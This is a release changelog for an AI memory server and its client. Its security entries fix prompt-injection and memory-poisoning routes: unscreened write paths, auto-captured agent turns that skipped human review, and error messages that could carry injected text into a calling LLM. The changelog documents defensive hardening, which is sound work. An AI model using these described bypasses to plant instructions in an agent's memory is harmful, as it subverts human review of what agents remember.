  • A1 [C] audit hash chain can fork under concurrent autocommit writers (src/audit.rs). record_tenant wrapped read-tip + INSERT in a SAVEPOINT, which on an autocommit caller is BEGIN DEFERRED — two concurrent writers both read the same tip and both INSERT the same prev_hash (chain forks). Now branches on conn.is_autocommit(): autocommit → BEGIN IMMEDIATE so the read-modify-write serializes at BEGIN; inside a caller tx (autocommit false) → keep SAVEPOINT (outer tx already holds the write lock). Mirrors the proven record_and_rotate pattern. Pinned by audit_chain_survives_concurrent_autocommit_writers (two threads + Barrier + verify_chain).
  • A2 [M] prune_audit_retention re-anchor now uses TransactionBehavior::Immediate (was unchecked_transaction), same root cause as A1.
  • A3 [H] approve_proposal UPDATE lacked AND status='pending' (src/handlers/gate.rs). Two concurrent approves raced; the loser surfaced a generic 500 via idx_knowledge_hash UNIQUE. Now CAS’s the row, checks n > 0, returns 409 proposal_already_decided otherwise, and the whole SELECT-INSERT-UPDATE promote runs in BEGIN IMMEDIATE.
  • A4 [H] expire_if_stale audit visibility depended on caller tx state. approve_proposal ran it inside the tx, so the expiration + audit rolled back if anything after failed. Now expired before the tx opens (a distinct autocommitted event) + the status is re-checked inside the tx. The reject path already used &Connection and was correct.

Fixed — GhostJacking-audit G1 hole on /procedure (first-pass M1)

  • B1 /procedure write core now screens injection like its siblings (src/handlers/procedure.rs). The Shield release’s “shared write core” claim had a hole: /procedure INSERTed into knowledge directly. Now mirrors ingest_one — screens root content+title AND every step (contains_suspicious_pattern), honors Reject policy → 400 input_rejected, calls flag_if_quarantined per-chunk under Quarantine (default), and skips next_step KG edges for a quarantined procedure. Pinned by the model-backed #[ignore]d procedure_screens_injection_like_its_siblings.

Fixed — PII redaction missed 16–19 digit Luhn cards (first-pass M2)

  • C1 mask_phone upper bound was 15; cards are 13–19 (src/gate.rs). A 16-digit Visa/Mastercard was flagged pii=1 but never masked → leaked verbatim via redact_content and screen_source_prompt. New mask_card Luhn-checks 13–19 digit runs (single source of truth reusing the scan_pii detector), called from both redact_content and screen_source_prompt. "4111 1111 1111 1111" → [redacted:card]. Pinned by redaction_masks_luhn_valid_16_digit_cards.

Fixed — DoS surface (highest-impact audit findings)

  • D1 [H] rate limiter evadable + unbounded memory via spoofed X-Forwarded-For (src/main.rs + src/config.rs). X-Forwarded-For is now trusted only when BRAIN_TRUST_PROXY=1 (default: socket addr — a direct-connection attacker can’t cycle the header). The RateLimiter HashMap is capped at RATE_LIMIT_MAX_KEYS = 10_000 with LRU eviction of the oldest 25% when full (bounded memory, no new dep). Pinned by rate_limiter_caps_tracked_ips_and_evicts_oldest.
  • D2 [H] linker quadratic blowup on adversarial content (src/linker.rs). extract_vocabulary is now capped at MAX_VOCAB_ENTITIES = 500 (one guard at entity insertion; the O(mentions²) loops inherit the bound). Pinned by extract_vocabulary_caps_at_max_vocab_entities.
  • D3 [M] /export buffered the entire DB → OOM (src/handlers/gate.rs). Now bounded with a hard row cap + the provenance summary precomputed in one COUNT-GROUP-BY. (ponytail: a true streaming JSON encoder is a v2.x change; this guard prevents the OOM today.)
  • D4 [M] /v1/embeddings unbounded batch amplification (src/main.rs). inputs.len() is now capped at MAX_EMBEDDING_BATCH = 64 → 400.

Fixed — AuthZ completeness + tenant isolation

  • E1 [H] /tombstones + /dsar/{id}/certificate lacked tenant scoping (src/handlers/observe.rs). Both are Admin-gated but didn’t call audit_scope; a team-scoped admin saw every tenant’s tombstones (reason = owner:<subject>) + certificates. Now filtered against the principal’s sub at the SQL layer (cross-tenant → empty result / 404, no existence leak); superuser (None principal) unconstrained.
  • E2 wiring-guard test blind to chained routes + cap_gate — the capability gate remains exercised by cap_gate_enforces_verbs_scope_and_never_admin
    • capability_accepted_only_on_ump_surface_with_operator_key; the contract table + comment updated.
  • E3 [M] /add did not enforce MAX_CONTENT (src/main.rs) — now checks the same bound ingest_one uses → 400.

Fixed — Input validation + data hygiene

  • F1 [M] source_prompt unbounded + not injection-screened (src/handlers/gate.rs). MAX_SOURCE_PROMPT = 2048 (plugin sends ≤2000) → reject longer; screened via screen_source_prompt so a tripped prompt persists only as the [redacted:…] form (reviewer sees the warning).
  • F2 [L] /health/db was public + leaked operational metadata (src/main.rs) — moved out of both public lists; now Read-gated. /health (the load-balancer probe) stays public.
  • F3 [L] multi_get N+1 queries (src/main.rs) — collapsed to a single SELECT ... WHERE id IN (...) respecting MAX_MULTI_GET.
  • F4 [L] /metrics tenant scoping documented — kept Admin/Read (an operator surface; the body is aggregate booleans, not row data); the intent is now a docstring.

Added — MCP 2026-07-28 protocol compliance (Agent 68, folded)

  • MCP 2026-07-28 protocol compliance (src/bin/mcp.rs): stateless core — no initialize handshake; every modern request validates the mandatory per-request _meta (io.modelcontextprotocol/protocolVersion + io.modelcontextprotocol/clientCapabilities); server/discover replaces initialize for modern clients (supportedVersions: ["2026-07-28", "2025-11-25"]); every result carries resultType: "complete" + _meta.io.modelcontextprotocol/serverInfo; tools/list + server/discover advertise ttlMs/cacheScope caching hints (SEP-2549). Error surface per the new spec: missing _meta/fields → -32602, unsupported version → -32022 with data.{supported,requested}, unknown tool → -32602, parse error → -32700 (null id), null id → -32600. Dual-era: a legacy client’s initialize selects 2025-11-25 semantics scoped to the stdio process. ping kept as a harmless no-op (removed from the new schema). Verified against OpenClaw 2026.8.1 as a real MCP client (a test only — the native plugin remains the integration).
  • G1 [L] MCP stdio read_line unbounded → OOM — capped at MAX_LINE_BYTES = 1 << 20 (1 MiB), bails with -32700 on overflow.
  • G3 [L] MCP error messages echoed user input — the four format! sites now use static labels + sanitize_echo (hex-escapes the offending value, truncates to 64 chars) so client input can’t carry prompt-injection text into the caller LLM via error.message. Pinned by sanitize_echo_destroys_injection_structure + the updated unknown_tool_is_a_protocol_error.
  • G4 [I] legacy flag process-sticky — ponytail: comment names the single-parent trust-model ceiling. No code change.

Honest ceilings (carried into v1.20.3+ / v2.0)

  • The injection screen stays the deterministic blocklist (G5 classifier = v1.20.3). Quarantine stores flagged, never deletes.
  • /export streaming uses a bounded guard, not a server-sent stream (v2.x nicety); RateLimiter LRU is in-process (multi-instance shared store is v2.1); capability tokens remain operator-only (per-tenant cap scope is v2.0 multi-tenancy); the audit-chain C1 fix is per-process (distributed audit chain is v2.1).

[1.20.1] — 2026-08-11

Release notes

Improvements

  • Proposals now expire: pending captures aging past a configurable TTL (default 7 days) are auto-rejected and audited; deciding a stale proposal returns an error.
  • The capture-triggering prompt is shown in the review panel so reviewers see the context that produced a proposed memory.
  • The /ingest write path bypassed injection screening — it now rejects or quarantines suspicious content exactly like every other write path.
  • Auto-capture no longer bypasses human review: the openclaw plugin’s autoCapture defaults to the approval queue; direct mode remains available (still screened).

Security fixes

  • The capture-triggering turn is stored only in PII-screened form — redacted placeholders, never the raw prompt.

Engineering record

Server + Plugin — “Shield” (GhostJacking P0: injection screen on the shared write core + autoCapture through the human review gate)

First release of the GhostJacking-hardening line. Closes the two P0 audit findings on the memory write path: the /ingest core that bypassed the injection screen (G1), and the autoCapture write path that bypassed human approval (G2). See IMPLEMENTATION_PLAN_v1.20.1_Shield.md.

Added

  • M1 — /ingest now screens injection like its siblings (src/handlers/ingest.rs): the shared ingest_one core (plain + single-UMP + batch-UMP + the plugin’s memory_store/autoCapture) mirrors /add and /ingest/memory — Reject policy → HTTP 400 input_rejected; Quarantine (default) stores the chunk flagged (flagged=1, excluded from recall) and skips its KG edges. One guard in the shared core covers every caller.
  • M2 — autoCapture routes through the proposal gate (plugin default):
    • captureMode on the plugin (proposal default | direct). proposal POSTs /ingest/proposal via the new BrainClient.submitProposal() — nothing from an untrusted turn becomes memory until a reviewer approves. direct keeps the old behavior (still screened server-side).
    • proposals.source_prompt column (additive migration + schema 1.20.1): the capture-triggering turn is stored PII-screened (screen_source_prompt — only [redacted:…] form persists, per LLM01:2026 control #7 “exact action, not a summary”) and rendered in the client Review panel.
    • Proposal TTL (BRAIN_PROPOSAL_TTL_SECS, default 7 days): a pending proposal that ages out is auto-rejected + audited proposal_expired; approve/reject on a stale proposal refuse with 400.
    • source_prompt round-trips through /proposals (ProposalView), the client wire type, and the Review panel’s “sourcing prompt” block.
  • M3 — docs: SECURITY.md names /ingest as screened + the auto-capture gate; docs/MEMGHOST_MITIGATION.md documents captureMode.

Tests

  • Server: +3 (ingest_screens_injection_like_its_siblings — the audit §5 drill as a model-backed #[ignore]d test, quarantine/reject/benign arms; test_proposal_expires_after_ttl_and_audits; the lib’s source_prompt_is_pii_screened_and_rendered). Plugin: +3 (submitProposal wire; captureMode default routes to /ingest/proposal; config default).
  • schema_version contract → 1.20.1; authz_gates_cover_every_non_public_route
    • test_openapi_covers_routes unchanged (no new routes).

Security

  • G1 closed: /ingest no longer bypasses the injection screen (audit §4 action #8’s document lie fixed).
  • G2 closed: autoCapture no longer writes to memory without human approval (default captureMode: "proposal"); memory_store stays direct by design (explicit agent action) and remains M1-screened.

Honest ceilings (carried into v1.20.2 / v1.20.3)

  • The screen stays the deterministic blocklist; G5 classifier upgrade is v1.20.3.
  • G3 (OpenClaw subagent/exec/read/pdf envelope coverage) lives in the OpenClaw codebase — companion plan v1.20.2.
  • G4 (live token at rest, world-readable plist) is operator/tooling — v1.20.2.
  • G6 webhook replay window P2 — documented, v1.20.4 if prioritized.

[1.20.0] — 2026-08-11

Release notes

Improvements

  • Theme toggle now cycles dark → light → system, following the OS preference.
  • Offline tolerance: decisions, purges, and erasure actions taken while disconnected are queued locally and replayed on recovery, each applied exactly once; a badge shows the queue count.
  • A client bundle-size budget gate lands in CI to catch growth regressions.

Engineering record

Client — “Polish” (theming, perf, offline-tolerance — the v1.20.0 done-state)

The final milestone of the v1.14→v1.20 client chain. Closed the plan’s three testable deltas; the two measured-performance deltas that need the Dioxus CLI (dx bundle wasm sizes + FPS profiling) stay operator steps with their budgets documented in BENCHMARKS.md.

Added

  • M1 — system-following theme: the theme toggle now cycles dark → light → system; system resolves via prefers-color-scheme (pick_theme extended to a tri-state over THEME_MODES; the existing theme effect sets data-theme="system" and the CSS @media (prefers-color-scheme: light) token block does the following — no JS).
  • M2.1 — bundle regression budget: client/bundle-budget.sh builds the release wasm and fails if it exceeds a 7 MB budget (measured 4.34 MB at ship; the dx-bundled 3.7 MB from v1.18.1 is the floor reference). Wired into the client-gate CI job as a hard gate.
  • M3 — offline-tolerance (client/src/queue.rs): a bounded (100), serde-persisted (localStorage, credentials_stay_in_memory-safe — no token ever enters a queued action) action queue. Approve/Reject/Purge/DSAR actions that hit an unreachable/erroring server are queued instead of dropped; a “queued (offline)” badge shows the count in the top bar. On recovery the queue replays (run_replay — settle-by-key, each action applied once, survivors re-enqueued). Pinned by a wire parse/dedup test (idempotency-key dedup) + queue tests.
  • M4 — zero-telemetry reaffirmed: no change, and the M2/M3 additions collect nothing (queue payloads are action-ids only, persisted locally).

Changed

  • Review rows, the batch summary, and DSAR outcomes now surface RowOutcome::Queued rather than collapsing to a generic pending state.
  • Package idempotency keys derive from the action payload (key()), so a queued-then-applied action is never applied twice.

Honest ceilings (carried into v2.0)

  • Measured dx bundle wasm/JSCSS sizes + FPS profiling are operator steps (no Dioxus CLI here); the plan’s <50 KB initial / <5 MB mobile budgets are tracked in BENCHMARKS.md as measured-success criteria, the CI budget guards the dominant term (release wasm).
  • system theme does not live-listen to OS changes mid-session (applies on launch/change); desktop/mobile native theme following is a v2.x ceiling.
  • wasm-split remains a Dioxus 0.8 ceiling (the wasm grows with the console — the budget gate is the tripwire until then).

[1.19.0] — 2026-08-10

Release notes

Improvements

  • Audit-panel filters are now URL-addressable — a link like /audit?principal=alice opens the view pre-filtered, shareable with other reviewers.

Engineering record

Client — “Integrated” (the audit-verified remainder of the v1.19.0 plan)

The v1.19.0 plan (SSO + deep links + PWA + scale) was audited against the tree at ship time: most of it was already shipped — deep links (/review/:proposal_id, /recall/:trace_id, /subjects/certificate/:dsar_id) in v1.16.7, iOS/Android brain:// intent filters in v1.17.0, the PWA shell (manifest + service worker + offline shell) in v1.16.7, recall search debounce in v1.16.7 M6, and the JWT-pair + silent-refresh + principal half of SSO in v1.16.5. The remaining testable delta is shipped here: the audit panel’s filters became URL-addressable. The rest of M1/M3/M4 are documented ceilings (below).

Added

  • M2 — /audit?since=&principal= deep link: the Audit route now carries since + principal query params (Route::Audit { since, principal }), threaded into audit::panel and seeded into the existing client-side AuditFilter via a new pure filter_from_query. A reviewer can share a filtered audit view (e.g. /audit?principal=alice) and it opens pre-filtered. Pure core + test; all six Route::Audit construction sites updated.

Honest ceilings (carried into v1.20.0)

  • M1 OIDC/SSO is a server-side (v2.x) ceiling, not a client gap. brain-server is a token validator, not an OIDC IdP: its /.well-known/openid-configuration advertises empty authorization_endpoint/token_endpoint. A real authorization-code + PKCE flow needs a new /auth/authorize proxy endpoint on brain-server (external IdP), which is v2.x work (documented in the v1.16.5/ v1.16.8 plans + docs/proxy-sso.md). The client’s JWT-pair mode + silent refresh-on-401 + principal pillar (v1.16.5) already consume the JWT half.
  • M4 virtualized lists need viewport JS (untestable here without dx serve); the audit panel already paginates server-side (OFFSET, v1.16.7).
  • M4 wasm-split lazy panels remain a Dioxus 0.7.10 ceiling — re-measure after Dioxus 0.8-stable (unchanged from v1.18.1).

[1.18.2] — 2026-08-09

Release notes

  • Origin markers: every stored item is tagged human, model, or imported (backfilled by source kind); bulk imports never claim human authorship.

Improvements

  • Exports carry a provenance block: per-row source and origin plus a summary by origin and source; existing field names are unchanged for downstream importers.
  • The public AI notice now advertises origin metadata alongside source and confidence.

Engineering record

Server — “Transparency” (EU AI Act Art 50 origin marker + export provenance)

Unified-version release: the server ships the Transparency work and the client is bumped from 1.18.1 to 1.18.2 so both binaries report the same version (the client carries no new code in this bump — see [1.18.1] below for its last change). Ships the two real accuracy gaps the v1.18.1 Transparency plan found in COMPLIANCE.md §7 (Round 14 pass): an explicit model-vs-human origin marker, and /export provenance that actually carries it. The plan’s M3 (ai-notice / ai-literacy / cop-notice routes + docs/AI_LITERACY.md) had already shipped in v1.16.7/v1.16.8 and is unchanged.

Added

  • M2 — knowledge.origin column (migration): TEXT NOT NULL DEFAULT 'imported' + idx_knowledge_origin index + idempotent backfill by source kind (manual→human, memory→model, else imported). Write-time tagging wired into the interactive/assistant paths: /add and the propose→ approve promote set origin from the resolved source kind via the pure gate::origin_for_source helper; /ingest/memory writes model; procedures write human. markdown/structured bulk imports keep the safe imported default — never claim human authorship for an unknown path.
  • M1 — /export provenance block: per-row source + origin already emitted; now adds export_format_version: 2 + a provenance_summary (total / by_origin / by_source) computed across all exported rows. All 12 v1 field names preserved byte-identical for downstream importers.
  • M3 polish — /.well-known/ai-notice origin_metadata now lists origin alongside source/assertion_kind/confidence.

Changed

  • COMPLIANCE.md §7 aligned to shipped state (origin column + provenance_summary + format-version envelope) and gained an Enforcement note: Art 50 is enforced by national market surveillance authorities at the €15M / 3% (Art 99(3)) tier — the €35M / 7% figure is Art 99(2) for prohibitions + GPAI provider obligations, not Art 50.

Tests

origin_for_source_maps_kinds, migration_backfills_origin_by_source, export_contains_source_origin_and_provenance_summary (incl. v1 field-name regression guard), + origin added to test_migration_schema_contract.


[1.18.1] — 2026-08-09

Client — “Harden” (console-history persistence + measured bundle ceiling)

Client-only — server + API contract stay at 1.17.5 (zero server changes, zero schema change). Dioxus 0.7.10. Closes the honest ceilings out of the v1.17.8/v1.18.0 line where a real, low-risk, measured improvement exists.

Changed

  • M1 — console history: in-memory → persistent + secret-safe (src/api.rs, src/panels/system.rs). The try-it console’s history now survives reload: only redact_for_history-clean lines are written to web localStorage via the existing i18n::pref_save/pref_load seam, capped at the last 100. A line whose request body was non-JSON (line_is_secret, i.e. an opaque token-like payload redact_for_history cannot redact) is flagged secret and held in-memory only — never persisted. Pure persist_history drops secret/empty lines and caps. The credentials_stay_in_memory grep guard still passes: the raw token-bearing input never touches disk.
  • M4a — client bundle measured, not guessed (BENCHMARKS.md). The Dioxus 0.7.10 web bundle from dx bundle: wasm 3,724,711 B (3.7 MB) + 60 KB JS
    • 40 KB CSS, recorded as measured facts. wasm-split is not adopted (experimental in 0.7.10, shell-heavy bundle); tracked for re-measure after Dioxus 0.8-stable.

Deliberate non-changes (honest ceilings, code-grounded)

  • M2 token-minting panel UX — the UMP panel has no “CLI docs link” to replace; minting is correctly CLI-only (no mint endpoint by design). Adding untestable UX churn for marginal value was skipped; the security posture is unchanged and correct.
  • M3 SSE subscribe — no SSE subscribe control exists in the client; the /ump/subscribe endpoint is server-side reachability only, so there is nothing misleading to rename. A live browser change stream remains v2.x (A2A).
  • M5 native pull-to-refresh / M6 focus-return — native gesture needs a touch platform + dx serve; focus-return is document::eval-based, both unverifiable in this environment (no Android SDK / browser harness). The accessible RefreshButton and existing focus trap remain.

Verification

  • cargo test (client): 76 passed (was 74; +2 line_is_secret_* + persist_history_*). Clippy -D warnings + fmt clean; wasm build clean.
  • Server suite untouched (473 baseline — zero server edits).

[1.18.0] — 2026-08-09

Client — “Compliant” (WCAG 2.2 AA + i18n + privacy hardening pass)

Client-only — server + API contract stay at 1.17.5 (zero server changes, zero schema change). Dioxus 0.7.10. The plan’s M3 (i18n) and M4 (privacy) shipped in v1.16.8/v1.17.0; this release closes the two remaining testable gaps and formalizes the CI gate.

Added

  • ? in-app keyboard help on Review (M1.4). Pressing ? (or the new ? toolbar button, aria-expanded + aria-label) toggles an in-app table documenting the A/S/R/J/K shortcuts — the WCAG 3.2.6 consistent-help gap. Pure keyboard_help() core + i18n keys (review_help_*, en source; other locales fall back via resolve). The ? mapping respects the existing WCAG 2.1.4 shortcuts-off toggle.
  • Client CI gate (M2). New client-gate job in .github/workflows/ci.yml: cargo fmt --check + cargo clippy --all-targets -- -D warnings + cargo test + the wasm32-unknown-unknown build. The Dioxus client had zero CI coverage before this; the automated a11y/semantic grep gates (interactive_elements_are_buttons, xss_escape_hatch_is_unused) now run on every push/PR.

Not shipped (documented, not deferred — deliberate ceilings)

  • axe-core browser gate (M2.1) — needs Playwright + a dx bundle + a live server + browser download; an operator/tooling step, not runnable in this repo’s CI surface. Documented in client/a11y-checklist.md.
  • Native screen-reader pass (M1.7) — the human gate; tracked as the existing client/a11y-checklist.md matrix (VoiceOver/NVDA/TalkBack), an operator step.

Verification

  • cargo test (client): 74 passed (was 73; +1 question_mark_opens_help_and_table_covers_all_keys). Clippy -D warnings
    • fmt clean; wasm build clean.
  • ci.yml parses (pyyaml). Server suite untouched (473 baseline — zero server edits).

[1.17.9] — 2026-08-09

Release notes

  • Web client fix: the UMP capabilities request fired on every render instead of once per mount — a per-keystroke request loop that tripped the server’s rate limiter and flipped the client to “reconnecting”. Capabilities now load once.

[1.17.6] — 2026-08-09

Release notes

Bug fixes

  • The connect screen now lives at its own address, avoiding a redirect loop with the app shell’s connect-first behavior.
  • Command palette v2 — one keyboard surface (Cmd/Ctrl+K) for navigation, lookups, and actions, with grouped results, recent commands, and full keyboard control.

Improvements

  • Destructive actions like reindex now require an explicit press-Enter-to-confirm step before running.
  • New Overview home page — status cards for health, snapshot integrity, retention, and protocol conformance, plus a severity-sorted alert list and the top pending items with one-click approve/reject.
  • The new surfaces are translated in all five UI languages (English, German, French, Spanish, Dutch).

Engineering record

Client — “Complete” part 1: command palette v2 + Overview

First of the three-part “Complete” (operator console) release line (v1.17.6 + v1.17.7 + v1.17.8). Client-only — server + API contract stay at 1.17.5 (zero server changes, zero schema change). Dioxus 0.7.10.

Added (client)

  • M1 — Command palette v2 (src/main.rs): the palette is now a fused nav + lookup + action surface, not a settings shortcut. Command is a flat tagged enum (Navigate / Lookup / Run / SignOut) with a group label + keyword index. Pure cores (palette_group, command_keywords, palette_lookup, remember_recent, destructive_action) are Dioxus-free and test-pinned.
    • Grouped results in order Recent / Go to / Lookup / Run, capped at 5 per group (Linear/Raycast convention). Empty needle returns every group; a typed needle filters case-insensitively over keywords + labels and hides the Recent group.
    • Recents persist through the existing i18n::pref_save/pref_load seam (non-secret label list, last 8, dedup + cap).
    • Keyboard: ↑/↓ navigate the flattened list (group headers are labels, not items), Enter runs, Esc closes, / re-focuses the input, Tab/Shift+Tab cycle via the existing hand-rolled focus_trap.
    • Destructive confirm: selecting a destructive Run action (Reindex — destructive_action) swaps the list to a single “Press Enter to confirm” aria-live row; Esc aborts.
    • Screen-reader labels on every row (aria-label = command_label).
    • M1.5 single source of truth: palette_commands + the palette_navigate_covers_every_non_detail_route guard ensure every non-detail route is reachable. The Lookup/Run row types ship now (arms wired); live ids/actions arrive with the v1.17.7/v1.17.8 panels.
  • M2 — Overview (src/panels/overview.rs): the decision-first landing home at / under the AppShell layout. A control room, not a widget dump — every card links to its panel, backend stays the source of truth (no client cache).
    • Status row (≤4 cards): Health (conn dot + status/version), Snapshot integrity (snapshot_count + green/red dot), Retention posture (enabled + kind count), Server + UMP (server.version + conformance L2/L3 badge). Each links to its owning panel.
    • Alert list (DAR chain: signal + diagnosis + action): auth failures + quarantined chunks (existing UiState signals) + stale sources / unresolved conflicts / near-duplicates (/consolidate/propose counts) + decayed chunks (/decayed) + tombstones (/tombstones). Severity-sorted, empty → “no alerts”.
    • Queue preview: top 5 pending proposals with one-click Approve/Reject (mirrors the review panel’s decide) and a deep link into /review/:id.
    • Pure overview_alerts core + 3 tests (empty case, severity ordering, only-nonzero-sources).
  • api.rs: 6 new ApiClient methods (snapshot_status, retention, ump_capabilities, decayed, consolidate_propose, tombstones) + wire types mirroring the confirmed handler shapes + 6 wire-contract pin tests.
  • Route + nav: Route::Overview {} at /; Connect moved to /connect (outside the AppShell layout, so the shell’s connect-first redirect has no loop). Overview added as the first rail + tab-bar nav item (via NavLink/ TabLink) and to the palette.
  • i18n: new Overview + palette keys in all five locales (en/de/fr/es/nl), locale-aware format_number on alert counts.

Fixed / Changed (client)

  • Connect now routes to /connect; after a successful connect it proceeds as before (first-connect still lands in Review — unchanged).
  • Command palette v1’s nav-only filter_commands replaced by the grouped palette_lookup; the old nav-count test updated (6 → 7 targets).

Tests (client)

59 passed (was 49; +3 overview alerts, +6 api wire-contract pins, +1 palette route-coverage guard). Clippy -D warnings clean, cargo fmt --check clean, wasm build clean.

Honest ceilings (carried into v1.17.7 / v1.17.8)

  • Lookup is instant against client-held ids only; a server-backed fuzzy lookup is v2.x. Recents are a flat non-secret label list, not deep-linkable objects — re-running a recent re-resolves the route/action fresh.
  • The Lookup/Run command rows (and their confirm/destructive handling) ship as reserved + wired types; the live ids/actions that construct them arrive with the v1.17.7/v1.17.8 panels.
  • No RBAC-aware UI (roles land with v1.23.0); the client shows the server’s 403 verbatim. OpenAPI is not parsed client-side (no new dep).
  • wasm-split unchanged (Dioxus 0.7.10 ceiling); bundle size grows.

[1.17.8] — 2026-08-09

Release notes

  • Data & Rights panel — purge by record ids or owner, portable export (JSON, UMP, or Markdown), a per-kind retention editor, the decayed-content review list, and the deletion registry, all in one place.
  • UMP panel — protocol capabilities with an integrity badge, remember/recall with filters, and loading plus verifying the audit chain.
  • System panel — domains, snapshot integrity, the Article 30 register, reindexing, connectors, and source reconciliation.

Improvements

  • A try-it console for issuing raw API requests from the client, with token-bearing bodies stripped from the saved history.

Engineering record

Client — “Complete” part 3: Data & Rights + UMP panel + System & Try-it console

Third and final part of the three-part “Complete” operator-console line (v1.17.6 + v1.17.7 + v1.17.8). Client-only — server + API contract stay at 1.17.5 (zero server changes, zero schema change). Dioxus 0.7.10. 73 client tests (+7 from 1.17.7).

Added (client)

  • M5 — Data & Rights panel (src/panels/data.rs): the v1.14 / v1.15 lifecycle surface — purge (POST /purge by comma/space/newline-separated ids or an owner), portable export (GET /export as JSON / UMP / UMP-Markdown via the existing document::eval download seam), a per-kind retention editor (GET /retention → retention_to_edits sorted overrides; set a kind+days override, one-click × clear per kind), the /decayed review list, and the /tombstones deletion-registry. Status region is role="status" aria-live="polite".
  • M6 — UMP panel (src/panels/ump.rs): the v1.17.3 wire surface — capabilities card (UmpCapabilities + pure ump_integrity_badge badge/label from the conformance line), POST /ump/remember (JSON body → {ok,id}), POST /ump/recall with kind filter + max_recall clamped to 1..100 (renders the results envelope), and POST /ump/audit load + verify-chain (ump_audit/ump_recall/ump_remember + UmpRecallResult/ UmpAudit typed wire types).
  • M7 — System panel (src/panels/system.rs): domains list, snapshot integrity, the Art 30 register (art30() pretty-JSON), POST /reindex (ReindexResult), connectors list (ConnectorRow: kind · instance / state)
    • POST /sources/reconcile (ReconcileResult), and a Try-it console (get_raw/post_raw/delete_raw + serialize_request request-line builder
    • redact_for_history so the persisted history never stores a token-bearing body).
  • M8 — Route + nav + i18n: Route::Data (/data), Route::Ump (/ump), Route::System (/system) under the AppShell; all three added to sidebar rail + mobile tab bar + command palette (nav targets now 12, guard test updated); new data_*/ump_*/sys_*/nav_* keys in all five locales (each locale now 50 keys, en-completeness test green). api.rs: Clone added to the 10 typed wire structs so Signal<T>() call-syntax reads work (root cause of the call-syntax failures; consolidate.rs’s Item already had it), post_raw made pub, pure parse_purge_result/retention_to_edits/ parse_ump_record/parse_ump_recall/ump_integrity_badge/ serialize_request/redact_for_history cores + wire-contract tests.
  • Version 1.17.7 → 1.17.8; CHANGELOG §[1.17.8]; CLIENT_ROADMAP v1.17.8 row → Shipped.

Verification

  • cargo test --manifest-path client/Cargo.toml: 73 passed (was 66; +7 api.rs wire/parse cores).
  • cargo clippy --all-targets --manifest-path client/Cargo.toml -- -D warnings: clean. cargo fmt --check: clean. cargo build + cargo build --target wasm32-unknown-unknown: clean.
  • Dioxus rsx hazards fixed during the build pass (same class as 1.17.7): let statements as direct rsx children of if let bodies (hoisted all signal reads + label computations before rsx!); t()/placeholders with literal braces inside rsx format strings (hoisted to locals, simplified r#"{"query":...}"# placeholders to plain strings); Signal<T>() call syntax needs T: Clone; onkeydown compares Key::Enter not "Enter"; named move |_| closures can’t coerce to ListenerCallback (wrapped as move |_| run_x(())).

Ship status

COMPLETED (code + tests + docs) 2026-08-09. ./deploy-web.sh → live /app re-deploy, tag v1.17.8, and the GitHub release are operator steps. No server restart needed (client-only static bundle).

[1.17.7] — 2026-08-09

Release notes

Bug fixes

  • Graph path display rendered a doubled separator between hops; chains now read correctly (A –relation–> B –relation–> C).
  • The Create workspace pages no longer render duplicate top-level headings, fixing an accessibility regression.
  • Graph panel — look up entities and their relations, and run traversals rendered as readable hop chains, with kind filtering.
  • Create workspace — a single hub for writing: structured/Markdown/memory ingest with up-front JSON validation, a procedure step builder with classification and decision evaluation, and consolidation proposals with one-click apply/undo.

Improvements

  • New Graph and Create destinations in the sidebar, mobile tab bar, and command palette.
  • All new surfaces translated in the five UI languages.

Engineering record

Client — “Complete” part 2: Graph panel + Create workspace

Second of the three-part “Complete” operator-console line (v1.17.6 + v1.17.7 + v1.17.8). Client-only — server + API contract stay at 1.17.5 (zero server changes, zero schema change). Dioxus 0.7.10. 66 client tests (+7).

Added (client)

  • M3 — Graph panel (src/panels/graph.rs): debounced (300 ms) entity lookup via GET /graph/entity/{name} → typed EntityView (traits + relations with from/to/relation_type); a traverse card issuing GET /graph/traverse?start=&depth=&kind=&at=&cross_domain=true → typed TraverseResponse with paths (structured hop chains rendered by the pure render_path core, A --relation--> B --relation--> C) and the flat traversal rows collapsed in a <details> table. kind filter validated by the pure kind_is_valid (exact or prefix:-style, matching the v1.7 server contract); parse_entity core + tests.
  • M4 — Create workspace (src/panels/create.rs hub → ingest.rs + procedures.rs + consolidate.rs), the v1.14/v1.10 write surface:
    • Ingest (ingest.rs): three tabs (Structured / Markdown / Memory) with real <button> tab toggles (aria-pressed), JSON pre-validation before send, per-mode result via parse_ingest_result / IngestOutcome (Created / Duplicate / Error).
    • Procedures (procedures.rs): a step builder (title/body/optional is-decision, add-step list) → POST /procedure → typed ProcedureResponse; lists ordered steps via /procedure/{id}/steps → Vec<StepView>; plus the two deterministic helpers: POST /classify (typed ClassifyResponse → category + confidence + matched keywords) and POST /decision/{id}/evaluate (typed DecisionOutcome, vars parsed by the pure parse_decision_vars core — lenient, non-numeric dropped).
    • Consolidate (consolidate.rs): POST /consolidate/propose → typed ConsolidateProposal; unresolved contradictions + near-duplicates rendered as list items; one-click POST /consolidate/apply (supersedes link) and POST /consolidate/undo, both refresh the proposal list.
  • Routes/nav/i18n: Route::Graph{} at /graph and Route::Create{} at /create (under the AppShell); both added to the sidebar rail + tab bar + command palette (nav targets now 9, guard test updated); all M3/M4 i18n keys in all five locales (en/de/fr/es/nl).
  • api.rs: typed wire structs (EntityView/EntityRel, TraverseResponse/TraversalRow/PathChain/Hop, ProcedureResponse/ ProcedureStepsResponse/StepView, ClassifyResponse/CategoryResult, DecisionOutcome, ApplyResponse/UndoResponse, ConsolidateProposal)
    • impl ApiClient methods + pure cores (render_path, kind_is_valid, parse_entity, parse_ingest_result, parse_decision_vars) + wire-contract tests.

Fixed (client)

  • The palette’s render_path core emitted a doubled -- separator between hop chains (A --e--> B -- --c--> C) — one -- was pushed twice; the separator is now emitted exactly once, pinning render_path_renders_faithful_chains to A --employs--> 2 --ceo_of--> carol.
  • The Create hub’s three panels render under ONE focusable <h1> (the hub owns the PageTitle; the nested panels drop theirs) — no duplicate-h1 a11y regression.
  • Dioxus rsx hazards fixed during the build pass: inline if in rsx can’t hold a nested rsx! (switched the ingest tab body to a match on tab().as_str()); #[component] fn can’t be called positionally as a plain fn in braces (the tab_btn helper is a plain fn now); an unbraced raw-string placeholder containing {...} broke the format-string parser (placeholder: "revenue: 1200").

Verification

  • cargo test --manifest-path client/Cargo.toml: 66 passed (was 59 at v1.17.6; +7: render_path + wire types + parse cores).
  • cargo clippy --all-targets --manifest-path client/Cargo.toml -- -D warnings: clean.
  • cargo fmt --check --manifest-path client/Cargo.toml: clean.
  • cargo build + cargo build --target wasm32-unknown-unknown: clean.

Ship status: COMPLETED (code + tests + docs) 2026-08-09

